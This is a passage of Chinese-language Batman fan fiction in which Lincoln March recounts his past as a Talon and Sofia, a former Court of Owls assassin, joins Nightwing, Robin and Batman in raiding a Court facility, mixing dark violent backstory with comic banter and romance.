吞药，利爪处理方式的问题多到数不胜数，即使初出茅庐的菜鸟林肯将事故现场表现得过于拙劣, 那些被闪着红蓝色灯光的警车载着的酒囊饭袋在赶到后依旧能够捏着甜甜圈大笔一挥, 将身后中了七枪的受害者判定为自杀。 随着任务的积累, 林肯作为利爪的价值不断提升，终于在某一天上层决定将这位展现出足够能力和忠诚的利爪调任至研究所负责安保工作。 这也是林肯第一次了解到利爪到底是怎样产生的。 那位在哥谭大学任教多年的史密斯教授头发花白, 提起对于法庭的研究却始终双眼放光, 橘皮色的脸上布满褶子, 像极了某次外出任务时在植物园看到的中国菊花展上的一朵朵菊花。林肯实在提不起兴致, 只是出于不想被投诉懈怠工作，才装出一副认真听讲的模样。 大概就是说法庭过去直接依靠琥珀金来生产利爪, 虽然保证了利爪的能力但是也留下一定的缺陷, 比如无法保证生存率, 能力不稳定，对于琥珀金的使用效率，这些问题都对于利爪的扩张起到了不同的限制作用。 至少林肯记忆里，那帮一起被利爪训练的小孩里真正能够挺过实验的不过寥寥数人，大多数孩子大多顶不住副作用的影响在剧烈的痛苦下挣扎数日才死去。不管是这些孩子生前是来自青柳小屋，犯罪巷还是马戏团，在死亡面前似乎任何的特质都形同虚设，大家只能平等的躺在冰冷的地板上等待命运的垂怜。 但是那位菊花教授的实验推翻了过去林肯见到的所有苦难，从母体身上提取出的类似于削弱版的琥珀金极大程度的削弱了原版琥珀金的杀伤力，使得很多身体素质远远不达标的实验体也通过了利爪的考核，虽然利爪的能力有了很大程度的下降，但是飞速增长的数量弥补了这一点不足。 至少从上层对实验室的态度来看，目前法庭上下都很满意目前的结果，实验室的规模得到了扩张，更多的经费也从各个黑暗的角落中通过见不得人的手段被洗白后重新注入了实验室。 研究所里大多都是些把法庭看的比上帝还重要的狂热傻*，一提起为法庭效力就跟打了鸡血一样，不眠不休的做那些研究，每次进入实验室里林肯的眼前全都是穿着白大褂不分日夜燃烧自己的核动力牛马，就连难得的摸鱼都很难找到同伴。 林肯叼着烟在安全出口抽了俩月，终于看到了一个意识到自己是个人的四眼研究员顶着稀疏了一倍的脑门一头扎进了摸鱼的快乐海洋里。两人几乎没说过话，只是一个人吸烟，一个人叹气。 研究所里没人在乎一个被当作椰子插满了管子吸取血液的母体的感受，或许其他的实验室还留有良心尚未泯灭的研究员，但是在法庭手下的实验室里的每一个人，都是从法庭的爪牙中层层遴选才能接触这项伟大的事业，林肯对于这些实验更是毫无兴趣，只是掰着手指等待下一次调职。 布鲁斯目前杳无音讯或许是进入韦恩家浑水摸鱼的好时机。 啊好像不太行，他家的管家实在过于残暴，企图进入韦恩庄园的杀手大多被猎枪打的满地乱爬，某些被法庭买通的公司元老更是被这位管家和卢修斯往死里整，运气好点的还能拿着钱跑路，运气差点的最好也是坐牢的下场。 期间，林肯也时常和那位被放出来测试性能的母体多次交手，几乎没有个人意识的少女模样的杀手没有寻常杀手常有的谨慎，完全不考虑受伤和疼痛的癫狂打法下即使是林肯也时常感觉棘手。 母体的脸上总是带着利爪的同款面具，林肯没有透视能力没办法看到对方脸上的神情，只能通过动作来判断对方下一步的行动。 不过，这对林肯来讲并不重要。 如果不是少女脖颈上那条随时监控着生命体征的电击项圈的干涉，恐怕林肯可以提前退出生物圈去找地下的韦恩夫妻完成认祖归宗的仪式。 但是在一定程度的驯化下，不畏惧疼痛极力杀死敌人的少女对新手利爪是最好的教具。 刚刚完成改造的新手里利爪总是会忘记自己已经几乎不会死去的事实，即使拥有能够起死回生的能力，但依旧会面对死亡的威胁畏手畏脚。在实战中林肯也没少帮这部分利爪擦屁股，事后这些尚存贪生怕死人性的利爪就成了劣质实验品，在几次使用后就被扔进了冷冻舱里，直到某次作战中彻底失去性能，被法庭回收作为榨取琥珀金的材料。 就连林肯在刚作为利爪出道的时候也有幸被这位面无表情的临时教官暴打一顿，好在毫不回避的态度以及在危机下仍旧可以快速思考对策的处事能力让上层认定，林肯有能够被留下的资格，稚嫩的利爪才逃掉了要被销毁的可能。 母体的存在很大程度帮助法庭更快速度的分别出耗材的存在从而快速进行处理，只是在多次试验后这位几乎成了一大半利爪出厂检验的导师终于如同风中摇曳的烛火一般，即将彻底燃尽最后的价值。 彼时林肯在办公室里看那些纸质文件里储存的各类检测报告，母体始终没能找回个人意志只是单纯的出于求生的本能耗尽全部力气和手段来攻击身边的威胁，除了能够自由行动，母体本身和植物人的区别其实不大。 这时，连提供样本的功能都已经失去，母体已经完全丧失了存在的必要。 实验室的报告重复率越来越高，研究员的头顶也显得格外明亮，地上落满了充满烦恼的发丝，作为研究经费的现金流也越来越少，终于在研究所即将关停的时候，林肯接到了作为安保主管的最后一项工作。 停止母体一切行动，封存至冷冻舱等待下一步指示。 “这种废话一样的命令和被腰斩的电视剧结尾打出一样扯淡，相信的人才该去阿卡姆挂个号看看脑子。”林肯点燃一支香烟，终于将烟盒递给一起出门摸鱼的研究四眼研究员。 四眼摆了摆手，随后从口袋里掏出浓度极高的黑巧拆开塑料包装扔进了嘴里。 林肯敢打包票，这哥们不常吃黑巧，此刻被苦的失去表情管理了还在强撑无事，利爪闲来无事便抱胸看着这位研究员表演。 “谁不是呢？法庭投资的研究所就那么几个人头早就定好了，真的到了解散这步哥几个估计全都得提桶滚蛋。” 四眼好不容易恢复了平日里一贯看起来很聪明的样子，将剩下的巧克力塞进了林肯兜里，拍了拍林肯的肩膀。 “我们还好点，没用了还能找下家，利爪可就一辈子吊死在法庭了。” 林肯没有搭腔，冰冷的手掌在口袋里用力将那块黑色的固体碾成了带有颗粒的粉末，半天才想起来松手。 在封存前的最后一夜林肯走进了关押母体的单间，又或许该称为牢房。 少女被摘下了面具，苍白的肤色下青绿色的血管格外突出，白色的病号服下看起来毫无存在感的肌肉能够轻松的将不合格利爪的脑袋拧下来扔在地板上，林肯无数次见过这样的画面。 战斗，鲜血，怒吼，以及顺着神经如同藤蔓一样无限延伸的冰冷触感，利爪的面具被用长刀挑飞，无数次见证少女战斗场景的林肯预判了少女的行动，随后在被撕开肩膀前将长刀捅进少女的喉管，那双金色的瞳孔依旧毫无波澜，就好像身体中从来不曾出现过灵魂一般。 接下来就是封存事项，林肯习惯性的钻进那个安全出口，还是没能等来那个一起摸鱼的四眼。 一个月后，林肯被调任回法庭继续刺杀工作，因为负责封存母体的任务，林肯的地位大大提高，甚至可以长时间在外行动，而不是像普通利爪一样随取随用。 三个月后，布鲁斯韦恩回归哥谭，法庭那份挟天子以令诸侯的想法彻底破产，林肯收拾好那些多余的情绪继续做没办法提桶跑路的驴。 不久后，蝙蝠侠出现在哥谭，这位黑暗斗士给法庭添了不少乱，但不知道为什么法庭始终没有选择在这位烫手山芋的眼前露面，林肯也只能继续勤勤恳恳的四处当牛马。 两年后，林肯马奇用刀砍下了四眼的脑袋。 第53章 林肯充满青春疼痛文学元素的小故事在索菲亚迷茫的表情下结束。 沐浴着大家投来的或可怜悯或心痛的眼神, 索菲亚无力的伸出了手指指向自己，在几个小时内再次cos了那个经典表情包。 “我？” 这种充斥着文艺青春跑题的小故事被林肯描绘的淋漓尽致，情至深处那双怪物一样的眼睛里几乎要流下泪水来缅怀自己的青春, 如果这是一篇连载在4chan上的文章，索菲亚不介意花时间点个赞然后去刷其他内容，但是当自己成为了那个故事里代表不知道什么东西但肯定很重要的元素时, 少女唯一想做的事只有——举报。 不要把完全失智的倒霉杀手作为青春成长的一环啊混蛋, 能不能考虑一下对方的感受，为什么莫名其妙就沉浸在自我矮化心疼自己的氛围里了，谁来关心一下被冻上了的倒霉蛋啊。 在那些描述里索菲亚掐着手指算了算，林肯还在少年时期就见过没有意识的猫头鹰了, 而猫头鹰在被封存后几个月蝙蝠侠才出道…… “也就是说猫头鹰比蝙蝠侠还要大一轮是吗？”搅局者的活泼的嗓音显得格外突出, 意识到自己在不知不觉间可能已经到了要领退休金年纪的索菲亚默默的移开了视线。 “我不承认, 我没有意识，不能说几十年前的母体就是我。”索菲亚更加无力了，甚至考虑现在就滚回自己舒适的公寓里裹着被子进入婴儿般的睡眠。 虽然知道猎魔人的寿命很长, 但是莫名其妙加了至少二十岁这样的事也未免太可怕了吧, 之前还要考虑喊布鲁斯叔叔是不是不太合适, 现在索菲亚已经完全可以喊布鲁斯哥们了。 嘿哥们，你徒弟真棒。 这种莫名其妙的黄毛既视感为什么会在这种严肃的时候突然出现啊。 “……夜翼和猫头鹰一组, 神谕负责后勤。” 通讯里变声器塑造而成的嗓音这才唤醒了索菲亚的意识, 索菲亚身体一晃险些栽了下去, 还是被搅局者扶了下腰才保持平衡, 蓝色的眼睛眨巴眨巴，斯蒂芬妮悄悄地冒出头来露出一个微笑。 “收到。” “收到蝙蝠。” “已收到。” 不同嗓音的收到在频道里此起彼伏, 索菲亚虽然没明白发生了什么还是跟着一起回复。 “收到。” 恢复成利爪打扮的林肯负责开路, 索菲亚和夜翼跟在身后, 耳机里神谕还在不断地同步解析出来的情报。 “所以我们算什么？猫头鹰冰棍组？”夜翼还有心情开玩笑，两个几乎被五花大绑进法庭的受害者在夜空下吐槽起和法庭那些短暂的不愉快回忆。 “你还没冻上，我和林肯是真的都冻过了，严肃来讲我们应该是猫头鹰提桶跑路小组。”说到一半，索菲亚没能憋住笑，随之而来的是斯蒂芬妮“咯咯咯”的怪笑。 林肯没有搭话，可能在犄角旮旯里费尽心思杀人越货的利爪也没想到差点成为自己同事的两位义警会是这么脑子有病的缺心眼性格，两人毫无死里逃生的侥幸和ptsd，留下的只有有关法庭的无数个笑话。 救命，他们是想要靠说笑话把任务目标笑死吗？ 林肯当然不会一样缺心眼到直接带临时队友去直冲自己老家做白送人头的缺心眼行为，而是秉持磨刀不误砍柴工的精神特地前往港口的方向提前拿好专用于对付利爪的特供武器，那批从法庭的任务资金里一分一分做假账匀出来的，特地找急冻人和寒冷队长订购的冰冻武器。 这批装备用了十成十的狠料，根据林肯的预判，对付法庭那群刚刚被唤醒还没恢复身体机能到巅峰状态的残次品绰绰有余，自己唯一担心的只有在处理掉法庭的残余问题后，蝙蝠侠会不会对于曾经犯下滔天大罪，犯罪记录加起来能坐牢坐到世界尽头的利爪秉持睁一只眼闭一只眼的态度，但是即便如此也总比跟着法庭苟延残喘要好得多。 毕竟阿卡姆精神病院里面个个都是人才，说话又好听，还能随时组队给蝙蝠侠添乱，利爪超喜欢在里面。 打工是不可能打工的，一辈子都不可能给法庭继续打工的。 熟悉的港口，海风里带着咸腥味，索菲亚坐在自己曾经开箱过的集装箱上等待林肯的动作，却没想到林肯方向一转一连开了好几个附近的集装箱。 “你骗我。”索菲亚用胳膊勒住林肯的脖子用拳头砸向林肯的脑袋“你告诉我只有一个箱子。” 林肯一个闪身躲开了袭击，随后熟门熟路的打开了集装箱。 “狡兔三窟的道理不懂吗？再说你敢说你没有骗我吗？” 索菲亚挪开脸，吹起口哨来自觉在门口看守，夜翼则拿出卡里棍跟着林肯进了集装箱清点装备。 “说真的哥们，你是把急冻人抄家了吗？难怪上次越狱的时候没见到急冻人，合着在这赶你给的ddl呢。”夜翼的声音在集装箱内不断的回响显得格外空洞失真，索菲亚竖起耳朵同时听两边的声响。 “我努力了一下。”林肯的语气里带着些不为人知的骄傲，显然作为摸鱼怪物，能从抠门到极致的法庭手里搞到这一笔巨款让这位猫头鹰格外得意“好歹我在法庭也算如鱼得水。” “你们不觉得，现在很适合被一锅端走吗？但凡有个利爪提前得知消息在这里埋伏，咱仨真能被塞进一个冷冻舱里。”索菲亚的眼睛缩小成线状，瞳孔中的金色几乎占据了大部分位置。 “你是猫头鹰，不是乌鸦，少说两句吧。” 听声音似乎是林肯，索菲亚不觉得夜翼会说出攻击性那么强的话。 只是对着云层消散后突然露出真容的月亮，紧绷一天的思绪也忍不住放松，索菲亚的脑海里突然就想起了还没和提姆变回好朋友的某个夜晚。 没有忘却一切的激情亲嘴，也没有山盟海誓的甜言蜜语，只是两个人找到了空闲，坐在了能够将大多数建筑俯瞰的高处，有一搭没一搭的聊天。 夜晚的风比起白天要凉爽许多，也舒适许多，在过了凌晨两点的后半夜，就连黑暗中谋生的老鼠都知道该回家休息，只有两个昼夜颠倒的年轻人坐在一起享受城市最后的安宁。 罗宾清澈的嗓音聊起那些不需要被彻底保密的案件，几句话之间就将复杂的线索和人际关系彻底理清，讲明了自己推理出来的思路，就算和世界上最伟大的侦探对峙，少年给出的答案的精准度也能高达百分之九十以上，只是少了些细枝末节的补充，但这不影响索菲亚听故事的兴趣。 比起纯粹的体术，罗宾更擅长推理，像是那位侦探鼻祖福尔摩斯，又像是阿加莎笔下的波罗侦探，索菲亚分不清楚。过往需要跟随大猫头鹰在书店里装模做样的小猫头鹰没翻完任何一本相关的著作，只知道这些人大多都脑子好使，如果没清理干净线索就会惹上无穷无尽的麻烦。 而罗宾就是一个实打实的侦探。 自信、谦逊、勇敢、理性，这些品质是索菲亚自童年起很难在身边看到的如同宝石一样珍贵的事物，此刻出现在眼前人的身上，这些索菲亚过去不曾有未来也不会拥有的品质将少女深深吸引，心脏也为之跳动。 在月光下，索菲亚难以控制自己的动作，脱下了手套将手顺着少年的战术手套里如同流水般钻入其中，用手指在少年温热的掌心一圈圈划过。 原先柔软的掌心多了些薄薄的茧子，索菲亚能够想象出没那么擅长战斗的少年是如何在一次次训练中咬紧了牙关坚持下来的，至少比起刚出道时的紧张，如今的罗宾已经能够将长棍和过去训练的体操动作融会贯通，索菲亚见过几次少年战斗的动作，虽然还有些能改进的地方，但是对于一个更擅长脑力工作的年轻人来讲已经非常难能可贵了。 随着少女手指的抚摸，手下的肌肉跟着微微颤动，罗宾脸上的微笑几乎要绷不住，最后摆出了一副严肃的表情。 “好了，就算是猫头鹰也到了回去休息的点了，回去好好睡觉好吗？” 索菲亚当作耳旁风，继续把玩少年纤长的手指。 “你现在的训练强度刚好，不要试图自己加练好吗？如果受伤了会很麻烦，也会影响夜巡的效率，我不想晚上出门看不到你。” “……好，我保证不会擅自加练，那你也保证会回去按时休息。” 少年没有抽开手，而是在月光下和索菲亚对视。 ———————————————— “确认好了我们去第一个集装箱。”林肯的声音传来唤回了索菲亚几乎跑到大都会去了的思绪，索菲亚回过神来从集装箱顶部跳了下来。 “没有异常，还有几个箱子？”索菲亚环顾四周，再三确认周边的环境。 “六个。” 夜翼跟在林肯身后出了集装箱，根据频道里的内容，索菲亚可以确定蝙蝠侠完全掌握了港口的情况，发动机轰鸣的巨大咆哮声同时响起，不出片刻蝙蝠侠和罗宾就会到达港口将一些重型设备安装在蝙蝠车上方便下一步行动。 搅局者被安排去韦恩庄园负责防止行动不便的神谕和便士一被一些边角料利爪偷家，少女临走前还对蝙蝠侠黑色的披风做了个鬼脸，随后才依依不舍地离开。 索菲亚看着再次被云层遮挡的月亮，内心却无法平静，即便港口再无任何异常。 第54章 人的第六感是一种看不见摸不着的独立于其他感官的特殊感应, 就好像在学校和手机进行激情深入交流的时候，即便没有看到老师的影子，但深藏于内心的第六感会快速将不安的情绪传递至大脑并顺着神经网络传递至身体各处, 这个时候选择相信第六感就极大可能要面临只是虚惊一场的误会之中。 即便如此大脑还是会愿意相信第六感所传递的信息。 索菲亚的身体感受不到任何异样，但是第六感在大脑皮层中疯狂的闪动让人想起怎么也关不掉的系统升级弹窗，如果自己真的是只毛茸茸的呆头呆脑的猫头鹰, 估计全身的羽毛都会竖起来显得更加毛茸茸的走开。 是其他利爪或是法庭成员？但是现在的情况有哪些法庭成员能够做到在监视中不漏马脚？当然不排除威廉科布在暗处监视等着众人踏入陷阱一网打尽的可能, 但这样做的收益远远小于直接把冷冻利爪全都放进微波炉解冻之后全都投放去韦恩庄园来的划算。 他图什么？ 为了给蝙蝠侠刊物增添新的名场面吗？ 那很好看了。 话说威廉科布在处刑的时候为什么不在现场？利爪首席就这么嚣张吗？可以公然翘班，把工作塞进上司嘴里然后拍拍屁股跑路，完全不管自己的同事和老板是怎么被哥谭新型特产蝙蝠侠组团解决。 这其中还是活人的扔进阿卡姆，不是活人的全都无害化处理, 防止掉在地上被裹上面包糠下锅油炸馋哭隔壁的小孩。 按照林肯这位利爪骨干的说法, 被储存起来的利爪大多数能力测评算不上合格, 格斗方面还可以靠无视痛觉和大多数致命伤来解决，但是智商层面实在是难以言喻。 至少一大半的人在改造前所受到的教育水平还停留在胎教的程度，改造后大脑受到的损伤更是退化到智人水平浪费了祖先几千万年的进化。如果是一对一的话, 在有准备的情况下实在难以成为什么太大的威胁, 有害程度不超过扎斯。 “难怪我之前遇到的利爪那么好对付, 原来是初级小怪啊。” “等等——”林肯的语气卡顿了一下，随即诧异的看向索菲亚“我就说我手下的利爪怎么对不上号, 你知道那帮人骂了我多久吗？四个小时！我都听到那个狗操的混蛋骂重复了十二句话了都没办法脱身, 第二天我还得准备公开演讲, 企鹅人还在我的住处放炸弹, 差点给我脑子炸出来。我只想把那帮狗杂种的脑袋全摘下来当成球踢三天，之后再全都吊在路灯上, 挂满整个东区。” 利爪极具怨恨的发言从牙缝里挤出来, 索菲亚几乎能看到对方脑袋上冒出的黑气。 “你们能不能把牛马的命当命。” “想开一点嘛哥们, 至少明天去你再也不用上班了，也算解脱了不是吗？”夜翼顺滑的插入了对话“对了，你想和哪位做邻居，我努力满足你的要求。根据投票结果来看小丑目前是最不受欢迎邻居，我也建议你避开他附近的位置。或许双面人怎么样？至少你们都在哥谭政坛有就职经历，聊天的时候还可以探讨一下社会问题，比如地铁的坐垫什么时候换，我印象里那玩意比我奶奶年纪还大。” 夜翼刚刚快乐的说完这段话，下一秒从内心散发出的愉悦便消失了，这只大蓝鸟这才想起在场的社畜除去林肯还有白天作为小警察的自己，仔细看甚至能看到对方脑袋上遍布的阴云和细雨。 “哈哈是谁明天要上班啊，是我啊。” “你这么热爱工作想必薪水一定很高吧。” 索菲亚小心翼翼的提出疑问，却始终没得到对方的回答。 “实际上，夜翼目前的工作薪水，努力工作三个月加上全勤和补贴，勉强能够抵得上每个月的信托额度，如果他有接受这部分钱的话。” 即使隔着耳机，索菲亚也能想象出少年竭力保持冷静的样子，但是颤抖的带着笑意的语气还是顺着通讯传到了小猫头鹰的耳朵里。 “是啊，但凡多养条小狗，有些人都要和狗一起露宿街头。”成熟温柔的女声加入对话，一起打趣起夜翼。 “不是吧神谕，连你也。” 夜翼落在天台上，黑蓝色的矫健身影显得格外轻盈，索菲亚跟着停了下来观察周围的环境。 “只不过我真没想到法庭会把利爪存放在这里。” “很恶趣味。” 索菲亚探出头看向破败的建筑，绞尽脑汁的思考，还是没从脑子里找出一点曾经被关押的记忆，通讯设备里停留着罗宾不知道该说些什么的情况下手忙脚乱发来的问候。 “还好吗？” 索菲亚不觉得敷衍，倒不如说这种听起来有些猎奇的可怜经历本身就超出了正常人类能够安慰的范围之内。 大多数人在社会的运行中学会了如何去安慰失恋的朋友，工作不如意的朋友，受到了伤害的同伴，但这些人面临的问题总是在一个范围之内，一旦面临远超出范围的伤害，任何语言上的安慰都只是徒劳。 就好像往以几十公里每小时的速度蔓延的山火里倒入了一杯冰水一样，或许有效，又或许只是徒劳。 但对于索菲亚来讲，只要没有对于当时经历的记忆，即使再多人用再多的语言去渲染当时的残酷，在少女的视角里也只不过是在以上帝视角去看别人的故事，甚至林肯讲述故事里的母体和索菲亚本人差距大到以为自己不知道什么时候多了个双胞胎姐妹一般。 即使那是真实的经历那又如何？只要人还活着，还能够呼吸，即使再过惨痛那也只是过往，顾影自怜不会有任何用处，只有活下来的人才有资格说话。 再从审判庭离开后，即使暂时迷失方向，索菲亚也绝不会忘记自己的初心。 活下去，只要活下去，一切都还有希望。 只不过索菲亚有点好奇，自己的好朋友只是见到这些□□上的折磨就已经心神不定，那如果是阿尔伯特的手段，提姆会落泪吗？ 索菲亚漫不经心的在设备上敲出几个字母发送出去，确认对方接收到了信息这才满意的收起了设备在制服里轻微的晃动着身体，在脑海里想象对方的表情。 此时余光扫过，黑色的身影出现在另一头，那个足够壮硕的斗士出现的那刻起，就意味着放松的结束。颜色鲜艳的小罗宾鸟落在男人身后，对着这边打出个ok的手势。身旁，利爪还在用臂弯擦那两把和索非亚手里一摸一样的佩刀。 索菲亚收起懈怠，调整身体到适合战斗的状态，对着夜翼点了点头。 一切准备就绪，到了出击的时候了。 —————————————————— 林肯回到青柳小屋，就像几百年前的黑*回到了自己忠诚的棉花地，那副轻车熟路的样子让索菲亚相信即使林肯此时突发恶疾双目失明，也能摸黑念出每个利爪的位置和编号。 几个形同虚设的机关，还没来得及搞点偷袭，就被蝙蝠侠战衣随身携带的电脑黑入设备，在神谕和蝙蝠侠的一同努力下全都原地瘫痪成了废铁。 “所以有哪些机关？激光切割？重力机关？机枪扫射？”索菲亚抬头看到一处正对着自己的监控，冲着蝙蝠洞那侧通过监控观察现场的神谕等人挥了挥手。 “少看点《生化危机》好吗？那种能把人切成肉片的激光实用性极差，真的不如放几个利爪直接去追杀闯入者来的划算。” 索菲亚能够感受到来自蝙蝠侠如芒刺背的锋利眼神，只能闭上了嘴，和身边的队友分开进行搜查。 一些实验报告，又是一些实验报告，更多的全是文字密密麻麻布满整张纸的实验报告，索菲亚倒也不是没有尝试看看具体内容，但是遍观整篇报告除了日期索菲亚还能看懂，剩下的有关生物实验的单词生僻到索菲亚想要把最初的家长通过偷渡才拿来的美国绿卡原地撕掉。 索菲亚看不明白这些全是天书的报告，又怕漏了重要的东西，只能用设备一张一张的拍下来扔进通讯频道，就算只是工作人员记录自己上厕所的无关记录，相信蝙蝠侠也能判断出这个储存大量利爪的据点里的咖啡好不好喝。 就在此时，余光里那只鲜艳的罗宾鸟正严肃的看着手里的报告。回忆起提姆在学校里漂亮的成绩单，索菲亚可以正经的判断对方此时一定有再认真的解读这些报告，至少得出的信息肯定能比索菲亚看了十分钟只能判断出是英语的结论靠谱很多。 “看出什么了吗？”索菲亚轻声询问道。 “一点点，具体的细节还需要后续再确认。”罗宾背对着索菲亚，放下了手里的报告“我有些话想和你说，但现在恐怕不是时候。” “是关于我的事吗？”索菲亚倚靠在在炎炎夏日还有些冻手的金属墙壁上把注意力全都放在了格外锃光瓦亮的天花板上“你不用那么小心，我说过的，我失忆了，这些事对我来讲跟听区别不大。” “我只是觉得我安慰人的那些话似乎太空洞了，很长一段时间内我都认为这些话用来处理大多数社交问题已经足够，但是成为罗宾后我才意识到，面对真正收到难以愈合的受害者来说，这些轻飘飘的话完全无法起到愈合的作用，甚至有的时候高高在上的怜悯态度本身就是一种施舍。” 罗宾没有转过身，只是直视着面前的金属墙开始了两人在一番变故后第一次的私人对话。 “那你听到那些事是怎么想的？” 索菲亚将视线才苍白的天花板上移开，顺着提姆的视线看到了两人投射在墙壁上的倒影，看似亲密，实际上却隔了足够的距离。 “……”提姆移开视线，过了半分钟才终于开口“我不知道。” 少年的声音因为长时间的忙碌显得格外沙哑，索菲亚则放弃了看着那道纤细的倒影，直接看向同伴身着制服的身体。 “那你在怜悯我吗？你觉得我可怜吗？” 索菲亚走上前去，在距离少年一臂的位置站定，伸手在脑后寻找固定利爪面具的带子，摘下了面具露出那张对提姆而言熟悉而又陌生的脸来。 “我没——”罗宾猛地转过身来，两人的距离一下子拉近到极致，穿着制服的身体几乎拉近到一拳的距离，也是这样靠近的距离让提姆清晰的看到了索菲亚那张清丽的面无表情的脸庞。 索菲亚的头发长了些，原先刚刚过肩的长度，如今已经能够堆积在肩膀上如同溪流一样顺着肩头蔓延，金色的瞳孔中几乎看不出任何情绪，但是在片刻后，如同针尖一样的瞳孔疏忽放大，削弱了非人感的同时少女的脸上浮现出足够委屈和可怜的神情。 索菲亚抓住了少年带着战术手套的手，将那双被隔绝了体温的手放在了脸颊两侧，轻轻蹭了蹭。 “那你就多可怜我一点不好吗？亲爱的。” 第55章 提姆的大脑空白了片刻, 但很快回过神来，脸上重新扬起微笑，显得格外游刃有余, 戴着手套的手没有挣脱，顺势在索菲亚的脸颊上轻抚过后，捏了一把。 “那你想要我怎么可怜你呢？” 经常性被索菲亚突发性毫无边界感的行为逗弄, 提姆在这方面的技能被迫点亮, 虽然还是会被少女突然而来的接近和撒娇行为惊到，但少年如今已经能够熟练地和索菲亚谈条件。 “tiktok上的视频，说大都会新开了好家来自中国的奶茶店，好像叫heytea？我看大家都在喝抹茶饮料看起来很棒, 我把配方都记下来了。”索菲亚清了清嗓子接着换了对提姆而言有点陌生的语言报起了菜名“三倍厚抹加浓抹糯糯少甜标不加浓抹茶顶料洒满要吸管不用打包谢谢。” “嗯嗯, 还有呢？”提姆双手环胸侧着脑袋看向少女。 “还有最近热门上的越南餐厅, 春卷和越南河粉看起来都好好吃，哦对还有一家巴基斯坦菜，他家辣咖喱也很出名, 和日式甜咖喱完全是不一样的感觉。还有一家粤菜, 他家的早茶自助……” 索菲亚那双几分钟前还在装可怜的眼睛, 现在全都是对于食物的渴望，提姆无奈的笑了出来摇了摇头。 “我们一天要吃五顿饭吗, 猫头鹰小姐？” “其实——也不是不行。”索菲亚掰着手指计算“夜巡结束我们直接坐车去大都会吃早茶, 然后去个地方补觉到中午去吃辣咖喱我是觉得中午很适合吃这种味道大的东西, 下午茶的时候去买heytea然后去吃越南菜, 这个时候正好无缝衔接去吃其他好吃的，比如超大份炸鸡的巨无霸餐厅？吃完我们还来得及回来夜巡, 在东区的塔克店还能吃个夜宵, 不是很棒吗？” “下周我好像很忙, 哪里有空呢？让我想想——”罗宾转过了身子装出一副深思熟虑的样子，余光里索菲亚快速的眨着眼睛露出一个格外乖巧的笑容“似乎，有可能，下周五有个很重要的没办法抽身的会议，但是如果B没有窝在蝙蝠洞里的话，我或许能空出两天的时间。” “我和搅局者绑也要把B绑过去，你放心。” 少女重新戴上了利爪面具，把散落的头发扎成马尾塞进了面具里，在提姆的视角里就只能看到垂落在同伴脖颈上的那一缕黑发。 “还有这里。”罗宾的手隔着手套挑起那一缕发丝递给索菲亚，不经意间蹭过那一片被闷的时间过久而微微发红的皮肤。 “谢了。”索菲亚顺手将那一缕企图逃逸的碎发一起塞进了面具后几乎全覆面的头套里，重新恢复成了对罗宾来讲有些陌生的冷酷无情的反派爪牙形象。 确认没有遗漏后，两人一前一后的离开了这间独立的办公室，罗宾在前方开路，索菲亚坠在后面，走廊两侧的玻璃因为长期未被启用已经蒙上一层薄薄的灰尘，但这并不影响两位义警看清内部的结构和存在的东西。 深埋于地下的研究所几乎隔绝了一切的光源，两人刚刚的对话还是依靠罗宾万能腰带里储备的可以重复使用的荧光棒负责照明，光线算不上明亮，但是不管是作为罗宾随身携带的夜视仪还是索菲亚经改造而来的夜视能力，都能够将附近的事物看得足够清楚。 所以说，拿荧光棒，是为了塑造下周约饭的紧张氛围吗？ 索菲亚后知后觉的意识到不对，但看着身旁格外认真的罗宾的侧脸，还是咽下了吐槽的想法。 既然是蝙蝠系义警，他这么做一定有他的道理。 或许蝙蝠侠也会喜欢带着夜视仪的时候和超人约下次吃饭的地点呢？就是说蝙蝠侠是去吃那种贵的要死还吃不饱的分子料理呢还是麦*劳呢？ 索菲亚极力收回四散的思绪，把注意力全都放在了两旁的实验室内。其实说来也没什么好看的，大多数都是些空置的实验器材，只不过比起之前发现的以研发为主要目的，主张结果从0到1的实验室，青柳小屋地下的这个则更多是对于已经培养出来但是效果并不理想的利爪的控制和改进。 比如如何利用话术和外界干预让青春期的利爪对于法庭的命令言听计从，大多数的手段常见为利用诱导性极强的话术反复进行洗脑，实时监控利爪行为针对犯出的完全微不足道的错误进行远超于受体精神承受能力的物理惩罚，比如电击、水刑等手段，摧毁受体的自我判断能力从而完全遵循法庭命令行动。 虽然其他实验部分索菲亚看不明白，但是涉及到精神控制和□□折磨的部分，在审判庭优秀员工阿尔伯特的悉心教导下，索菲亚原地滚回了舒适圈，终于回到了自己熟悉的领域。 索菲亚在进入审判庭的第一天就有幸见到了老员工对手下下马威的经典手段，杀鸡儆猴。一米左右的小矮子捂着完全止不住血的脑门，看着猫头鹰打扮的奇怪男人把另一个带着狼头面具的男人固定在了审判庭远超于使用年限的光洁地板上，如果固定的方式不是用刀捅穿对方的身体的话。 “好看吗？”猫头鹰没有把眼神分给地上半死不活的狼头人身上，甚至能带着格外突兀的笑意去关注自己刚刚拿来的战利品。 索菲亚蹲在地上看着被已经发黑的血液染色的舞蹈鞋轻轻动了动蜷缩在过于紧绷的袜子里的脚趾，半晌才被男人扯着头发抬起了头。 “他犯错了吗？” “没有。” “你不喜欢他吗？” “你认为呢？” 索菲亚感受着被拉扯着头皮的尖锐痛感，但漆黑的圆眼睛里还是没有露出一丝恐惧，空洞的双眼很早就被自觉塞上了对一切事物淡漠的漠不关心，或许是因为习惯了在空旷的房子里看着身材高大的男人用一切手边能拿到的工具对着趴在地上的女人制造出大大小小的伤口的画面。 二头身短手短脚的长着和母亲有八分相似的东亚面庞的女孩就跪在地上，拿毛巾一点一点的擦拭残留在木质地板上的血滴。寒来暑往，女孩不知道自己趴在地上擦了多少次地板，膝盖被磨破几次，只是在和那只空荡荡的完全脱离了身体的女性头颅中瞪大的黑色眼睛对视时，索菲亚意识到，这或许就是最后一次。 男人如猎豹如老虎如狮子一样的瞳孔不断放大满是对猎物的审视，在索菲亚的脖子几乎无法支撑住角度奇异的脑袋变得僵硬时，猫头鹰再次笑了出来。 “你喜欢什么？猫头鹰？狼？青蛙？蝙蝠？” 女孩没有丝毫被抓住了命门的紧张，维持着脖子几乎下一秒就要断掉的姿势思考了两分钟才终于说出了答案。 “不可以做人吗？” 男人松开了女孩细软的头发，战术手套上的锋利的冒着寒光的利爪贴在女孩的脸颊上轻轻划过，留下一道细长的血痕。 “或许？不过我推荐猫头鹰。” 那只戴着手套的手虚虚握住了女孩柔软的咽喉，索菲亚在那双眼神对视一瞬间就明白了对方的意图，熟练而又干脆地把膝盖重重的砸在了还在外蔓延血迹的地板上。 